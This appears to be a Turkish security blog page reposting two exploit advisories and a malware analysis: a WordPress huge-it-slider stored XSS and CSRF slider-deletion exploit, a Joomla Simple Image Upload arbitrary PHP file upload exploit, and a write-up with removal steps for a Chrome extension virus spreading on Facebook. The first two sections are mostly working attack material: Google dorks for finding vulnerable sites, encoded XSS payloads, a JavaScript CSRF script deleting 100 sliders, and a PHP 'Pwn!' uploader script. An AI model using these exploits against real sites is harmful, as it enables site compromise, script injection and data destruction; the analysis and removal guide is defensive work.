-
25 Haziran 2015 Perşembe
Wordpress huge-it-slider 2.7.5 & Persistent JS-HTML Code injection




DORK:  intitle:"index of" intext:"/wp-content/plugins/slider-image/"

# Exploit Title: WordPress: wordpress huge-it-slider 2.7.5 & Persistent JS-HTML Code injection, Arbitrary slider deletion
# Date: 2015-06-23
# Google Dork: intitle:"index of" intext:"/wp-content/plugins/slider-image/"
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ]
# Software Link: https://downloads.wordpress.org/plugin/slider-image.latest-stable.zip
# Version: 2.7.5 
# Tested on: windows 7 ultimate + Firefox.
# video demo: https://www.youtube.com/watch?v=RTLAbmyBIU8

====================================================
* CSRF + Persistent JS/HTML Injection 
====================================================

=====================
DECRIPTION
=====================

An attacker can make a user with access privileges to a page containing malicious script
and send some parameters injected JavaScript to the database.

============================
vulnerable POST parameters
============================
//variables with variation names//

order_by_[variation_number]
titleimage[variation_number]
sl_url[variation_number]
sl_link_target[variation_number]
im_description[variation_number]
imagess[variation_number]

//variables with constant names//

sl_pausetime
sl_changespeed

===============
EXPLOTATION
===============

variable numbers can be extracted from a published page containing the slider. and make all
parameters injected with code JS / HTML.

-------------------
EXAMPLE
-------------------
[Extracting data for use]

In a vulnerable site and has posted a slider, the malicious user can extract information
the attack is successful.

-----------------------------------------------------------------------------------------
[variation_number] is a variable number that could be extracted as follows.
-----------------------------------------------------------------------------------------
The attacker sees the following framento source code of the page with slider:

<!-- ##########################DOTS######################### -->

<div class="huge_it_slideshow_dots_container_2"> [ <---SLIDER_ID_FOUND=2 ]
<div class="huge_it_slideshow_dots_thumbnails_2">
<div id="huge_it_dots_0_1" class="huge_it_slideshow_dots_1 huge_it_slideshow_dots_active_1" 
onclick="huge_it_change_image_1(parseInt(jQuery('#huge_it_current_image_key_1').val()), '0', data_1,false,true);
return false;" 

image_id="14" [ <---ITS_VARIATION_NUMBER!!! ]

image_key="0"></div>
</div>
<a id="huge_it_slideshow_left_1" href="#" >
<div id="huge_it_slideshow_left-ico_1">
<div><i class="huge_it_slideshow_prev_btn_1 fa"></i></div></div>
</a>
<a id="huge_it_slideshow_right_1" href="#" >
<div id="huge_it_slideshow_right-ico_1 , data_1">
<div><i class="huge_it_slideshow_next_btn_1 fa"></i></div></div>
</a>
</div>
<!-- ##########################IMAGES######################### -->


-----------------------------------------------------------------------------------
Classes tags [<div>] have a number at the end that is the id of the slider.
Also labeled [<div id = "huge_it_dots_ ...>] has the property [image_id] which is the
POST variable number of vulnerable parameters.

============================================
POC [DATA RELATING TO THE ABOVE]
============================================
------------ SLIDER_ID
URL REQUEST | 
------------
http://localhost/wordpress/wp-admin/admin.php?page=sliders_huge_it_slider&id=2&task=apply
--------
POSTDATA
--------
name=i0akiN-SEC&order_by_14=%22+onmouseover%3Dalert%28%2Fi0akiN_hack%2F%29+a%3D%22&imagess14=&
titleimage14=%22+onmouseover%3Dalert%28%2Fi0akiN_hack%2F%29+a%3D%22&
sl_url14=%22+onmouseover%3Dalert%28%2Fi0akiN_hack%2F%29+a%3D%22&sl_link_target14=&
sl_pausetime=%22+onmouseover%3Dalert%28%2Fi0akiN_hack%2F%29+a%3D%22&
sl_changespeed=%22+onmouseover%3Dalert%28%2Fi0akiN_hack%2F%29+a%3D%22&
im_description14=as%3C%2Ftextarea%3E%3Cscript%3Ealert%28%2Fi0akiN_HACK%2F%29%3B%3C%2Fscript%3E&
imagess14=%22+onmouseover%3Dalert%28%2Fi0akiN_hack%2F%29+a%3D%22&sl_width=500&
sl_height=300&pause_on_hover=off&slider_effects_list=cubeH&sl_position=center&task=

--------------------
RESPONSE ADMIN PAGE
--------------------

...

<input class="order_by" type="hidden" name="order_by_14" value="0" />
<div class="image-container">
<img src="" onmouseover=alert(/i0akiN_hack/) a="" />
<div>
<script>
... </script>
<input type="hidden" name="imagess14" id="_unique_name14" value="" onmouseover=alert(/i0akiN_hack/) a="" />
<span class="wp-media-buttons-icon"></span>
<div class="huge-it-editnewuploader uploader button14 add-new-image">
<input type="button" class="button14 wp-media-buttons-icon editimageicon" name="_unique_name_button14" id="_unique_name_button14" value="Edit image" />
</div>
</div>
</div>
<div class="image-options">
<div>
<label for="titleimage14">Title:</label>
<input class="text_area" type="text" id="titleimage14" name="titleimage14" id="titleimage14" value="" onmouseover=alert(/i0akiN_hack/) a="">
</div>
<div class="description-block">
<label for="im_description14">Description:</label>
<textarea id="im_description14" name="im_description14" >as&lt;/textarea&gt;<script>alert(/i0akiN_HACK/);</script>&lt;/textarea&gt;
</div>
<div class="link-block">
<label for="sl_url14">URL:</label>
<input class="text_area url-input" type="text" id="sl_url14" name="sl_url14" value="" onmouseover=alert(/i0akiN_hack/) a="" >
<label class="long" for="sl_link_target14">Open in new tab</label>
<input type="hidden" name="sl_link_target14" value="" />
<input class="link_target" type="checkbox" id="sl_link_target14" name="sl_link_target14" />
</div>
<div class="remove-image-container">
<a class="button remove-image" href="admin.php?page=sliders_huge_it_slider&id=2&task=apply&removeslide=14">Remove Image</a>
</div>
</div>

<div class="clear"></div>
</li>
</ul>
</div>
</div>
<div id="postbox-container-1" class="postbox-container">
<div id="side-sortables" class="meta-box-sortables ui-sortable">
<div id="slider-unique-options" class="postbox">
...
<li>
<label for="sl_pausetime">Pause time</label>
<input type="text" name="sl_pausetime" id="sl_pausetime" value="" onmouseover=alert(/i0akiN_hack/) a="" class="text_area" />
</li>
<li>
<label for="sl_changespeed">Change speed</label>
<input type="text" name="sl_changespeed" id="sl_changespeed" value="" onmouseover=alert(/i0akiN_hack/) a="" class="text_area" />
</li>

...

-----------------------------------------
RESPONSE PUBLISHED PAGE WITH IMAGE SLIDER
-----------------------------------------

...

<script>
var data_2 = [];
var event_stack_2 = [];
video_is_playing_2 = false;
data_2["0"] = []; data_2["0"]["id"] = "0"; data_2["0"]["image_url"] = "" onmouseover = alert(/i0akiN_hack/) a = ""; data_2["0"]["description"] = "as&lt;/textarea&gt;
<script>alert(/i0akiN_HACK/);</script>";data_2["0"]["alt"]="' onmouseover=alert(/i0akiN_hack/) a='"; 

===<!-- SUCCESFULL INJECTION :) -->===

var huge_it_trans_in_progress_2 = false;
var huge_it_transition_duration_2 = " onmouseover=alert(/i0akiN_hack/) a=";
var huge_it_playInterval_2;
// Stop autoplay.
window.clearInterval(huge_it_playInterval_2);
....

<!-- ##########################IMAGES######################### -->
<div id="huge_it_slideshow_image_container_2" class="huge_it_slideshow_image_container_2"> 
<div class="huge_it_slide_container_2">
<div class="huge_it_slide_bg_2">
<ul class="huge_it_slider_2">
<li class="huge_it_slideshow_image_item_2" id="image_id_2_0"> 
<a href="" onmouseover=alert(/i0akiN_hack/) a="" ><img id="huge_it_slideshow_image_2" class="huge_it_slideshow_image_2" 
src="" onmouseover=alert(/i0akiN_hack/) a="" image_id="14" />
</a> 
<div class="huge_it_slideshow_title_text_2 "> " onmouseover=alert(/i0akiN_hack/) a="</div>
<div class="huge_it_slideshow_description_text_2 ">as&lt;/textarea&gt;<script>alert(/i0akiN_HACK/);</script> </div>
</li>
<input type="hidden" id="huge_it_current_image_key_2" value="0" />
</ul>
</div>
</div>
</div>

...



-----------------------------------------
RESPONSE PUBLISHED PAGE WITH IMAGE SLIDER
-----------------------------------------

...

<script>
var data_2 = [];
var event_stack_2 = [];
video_is_playing_2 = false;
data_2["0"] = []; data_2["0"]["id"] = "0"; data_2["0"]["image_url"] = "" onmouseover = alert(/i0akiN_hack/) a = ""; data_2["0"]["description"] = "as&lt;/textarea&gt;
<script>alert(/i0akiN_HACK/);</script>";data_2["0"]["alt"]="' onmouseover=alert(/i0akiN_hack/) a='"; 

===<!-- SUCCESFULL INJECTION :) -->===

var huge_it_trans_in_progress_2 = false;
var huge_it_transition_duration_2 = " onmouseover=alert(/i0akiN_hack/) a=";
var huge_it_playInterval_2;
// Stop autoplay.
window.clearInterval(huge_it_playInterval_2);
....

<!-- ##########################IMAGES######################### -->
<div id="huge_it_slideshow_image_container_2" class="huge_it_slideshow_image_container_2"> 
<div class="huge_it_slide_container_2">
<div class="huge_it_slide_bg_2">
<ul class="huge_it_slider_2">
<li class="huge_it_slideshow_image_item_2" id="image_id_2_0"> 
<a href="" onmouseover=alert(/i0akiN_hack/) a="" ><img id="huge_it_slideshow_image_2" class="huge_it_slideshow_image_2" 
src="" onmouseover=alert(/i0akiN_hack/) a="" image_id="14" />
</a> 
<div class="huge_it_slideshow_title_text_2 "> " onmouseover=alert(/i0akiN_hack/) a="</div>
<div class="huge_it_slideshow_description_text_2 ">as&lt;/textarea&gt;<script>alert(/i0akiN_HACK/);</script> </div>
</li>
<input type="hidden" id="huge_it_current_image_key_2" value="0" />
</ul>
</div>
</div>
</div>

...


====================================
* CSRF & ARBITRARY SLIDER DELETION
====================================

=====================
POC
=====================

//delete first 100 sliders

<script> 

function sendData( id_slider ){ 
var req=new XMLHttpRequest();
req.open("GET","http://localhost/wordpress/wp-admin/admin.php?page=sliders_huge_it_slider&task=remove_cat&id="+id_slider,true);
req.withCredentials="true";
req.send(); 
}

for(var i=0;i<100;i++){
sendData( i );
}

</script>

token authentication not found!
DEVAMINI OKU..
Joomla Simple Image Upload Arbitrary File Upload




DORK:  inurl:option=com_simpleimageupload

# Exploit Title: Joomla Simple Image Upload - Arbitrary File Upload
# Google Dork: inurl:option=com_simpleimageupload
# Date: 23.06.2015
# Exploit Author: CrashBandicot @DosPerl
# Vendor Homepage: http://tuts4you.de/
# Software Link: http://tuts4you.de/96-development/156-simpleimageupload
# Version: 1.0
# Tested on: MsWin32

# Vuln Same to Com_Media Vulnerability

# Live Request :

POST /index.php?option=com_simpleimageupload&view=upload&tmpl=component&e_name=desc HTTP/1.1

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/index.php?option=com_simpleimageupload&view=upload&tmpl=component&e_name=desc
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------247062787817068


-----------------------------247062787817068\r\n
Content-Disposition: form-data; name="Filedata"; filename="L0v3.php."\r\n
Content-Type: application/x-php\r\n
\r\n
0wn3d ! ;)\r\n
-----------------------------247062787817068\r\n
Content-Disposition: form-data; name="return-url"\r\n
\r\n
aW5kZXgucGhwP29wdGlvbj1jb21fc2ltcGxlaW1hZ2V1cGxvYWQmdmlldz11cGxvYWQmdG1wbD1jb21wb25lbnQmZV9uYW1lPWRlc2M=\r\n
-----------------------------247062787817068--\r\n


# Exploit :

<?php

echo '<form action="#" method="post" enctype="multipart/form-data">
<input type="text" name="target" value="www.localhost.com" /><input type="submit" name="Pwn" value="Pwn!" />
</form>';


if($_POST) {

$target = $_POST['target'];

$file = "0wn3d ! ;)";
$header = array("Content-Type: application/x-php",
"Content-Disposition: form-data; name=\"Filedata\"; file=\"L0v3.php.\"");

$ch = curl_init("http://".$target."/index.php?option=com_simpleimageupload&task=upload.upload&tmpl=component");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36");
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$file", "return-url" => "aW5kZXgucGhwP29wdGlvbj1jb21fc2ltcGxlaW1hZ2V1cGxvYWQmdmlldz11cGxvYWQmdG1wbD1jb21wb25lbnQmZV9uYW1lPWRlc2M=",));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
$result = curl_exec($ch);
curl_close($ch);
print "$result";

} else { die(); }
?>


# Path of File : 127.0.0.1/images/[Rand0mString]L0v3.php
# Sh00t to Mr_AnarShi-T;
DEVAMINI OKU..
/ Chrome Virüs Analizi ve Kaldirilmasi /





S.a arkadaşlar bu konumda sizlerle Facebook’ta çok kişinin başını ağrıtan Chrome virüsü yani diğer adıyla Flash Player virüsünün analizini yapacağız.

İlk olarak bir kurban bulmamız gerekiyor. Ben bi arkadaşımın arkadaşının kurban olduğunu anladım o yüzden onun profili üzerinden çalışacağım. 








Bu arkadaş kurban olmuş ve sayfasından yeni kurbanlar almak için paylaşım yapılmış. Resmine tıkladığımda beni bir fake sayfaya yönlendiriyor. Burada benim Flash Player’ımın eski olduğunu, yenilemem gerektiğini belirtiyor. 






İndirmeye tıklıyorum. Ve dosyayı indiriyorum.









Üstteki resme baktığımda virüsün bir Dropbox hesabı üzerinden paylaşıldığını gördüm. Bunu Dropbox’a şikayet edip hesabın kapanmasını sağlayabilirsiniz.






Dosyayı indirdikten sonra analiz etmeye başladığımda, dosyanın arşiv haline getirildiğini farkettim ve arşivden çıkarttım.









Evet, şimdi elimde orjinal virüs vardı. Bunu kolay yoldan incelemek için Anubis’i kullandım.






Resimdeki adrese girdikten sonra Browse seçeneğinden dosyayı yükledim.






Aşağıdaki resimde analiz sonuçlarını hangi formatta görüntülemek istediğimi sordu bende HTML dedim.




Burada benim dikkat etmem gereken 3 yer var. Bunlar;
* Kayıt Defteri Değişiklikleri,
* Dosya Değişiklikleri,
* Ağ Hareketleri.







İlk olarak Dosya Değişikliklerine bakalım. Bu program aşağıdaki dosyaları oluşturuyor.






Ardından internet hareketlerine bakalım.












sosyalmsn.com sitesine bağlanıp, bilgisayarımıza pmbbldkbgiklfkcfpebdblljigoomkji.crx dosyasını indiryor "*.crx" Chrome eklenti uzantısı. Bu da demektir ki bu eklenti Facebook’ta paylaşım yapan eklenti. 

Bu dosyayı " C:\\********s and Settings\\KULLANICI ADINIZ\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions " klasörüne kaydediyor. Bu sayede siz yüklemeseniz de kendisini eklenti olarak çalıştırabiliyor.

Direkt linke girdiğimizde Chrome uyarı veriyor.









Bu dosyayı indirmemiz gerekiyor. Ben fazla uğraşmamak için IDM kullanıyorum.






Dosyayı indirdikten sonra "*.crx" uzantılı olduğu için, 7Zip ile arşivden çıkartıyorum.








Üstteki resimde gördüğünüz üzere virüsün Chrome eklentisinin Javascript kodları artık elimde. Bunları istediğim gibi kullanabilirim. Veya virüsün sahibinin detaylı bilgilerine erişebilirim. Bu eleman Wgetscript.com adresli bir site üzerinden scriptleri çalıştırıyor.








Tebrikler. Chrome virüsünün anatomisini çözdük. 

evet canim kardeslerim simdi bilgisayariniza chrome virusu bulasmissa onunda kaldirilmasini gostericem.
Sizin adınıza paylaşım yapan bu virüsten kurtulabilirsiniz.

Su an oldukça sık şikayet aldığım bir konu üzerine bir araştırma-inceleme yaptım. Sonuçta Facebook ve Twitter üzerinden sizin adınıza paylaşım yapan bir virüs var. 


Bu resim yeniden boyutlandırılmıştır, tam halini görmek için tıklayınız.


Bu virüs bilgisayarınıza Flash Player güncellemesi gibi görünerek bulaşıyor. Kurban olan bir arkadaşınızın paylaştığı bir linke tıklamanızla açılan Flash Player güncellemesi gibi görünen pencerede yükle dediğinizde virüsü bilgisayarınıza ve haliyle chrome'a yüklüyor. Bu virüs sadece chrome üzerinde çalışıyor, bu yüzden korkmanıza gerek yok bu yazıda size nasıl temizleyeceğinizi göstereceğim.


1- Buradan program kaldırma yazılımını indirin.

2- Programı kurduktan sonra Adobe Flash Player 1,90 isimli bir girdi göreceksiniz. Bunu kaldırın.

3- Ardından Chrome'dan çıkın.

4- Bilgisayarınızdan C:\********s and Settings\KULLANICI ADINIZ\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions adresine gidin burası gizli olabilir o yüzden klasör seçeneklerinden gizli dosyaları göster seçeneğini aktifleştirin. Bu dizinde Chrome'a ait eklentiler muhafaza edilir. Zararlı eklenti de burada saklanıyor bu yüzden herşeyi silin. Arada eklentileriniz de gidebilir ama önemli olan zararlı eklentiyi temizlememiz.

5- Son olarak kayıt defterinde ( Başlat > Çalıştır > Regedit ) "HKEY_LOCAL_MACHİNE-SOFTWARE > Policies > Google > Chrome > Extenstions" anahtarını bulun. Değerler içinde "fhasdfshdfashdfas" gibi karışık isimli bir girdi olacak. Bunu silin.


Tebrikler artık virüsü kaldırdınız!
DEVAMINI OKU..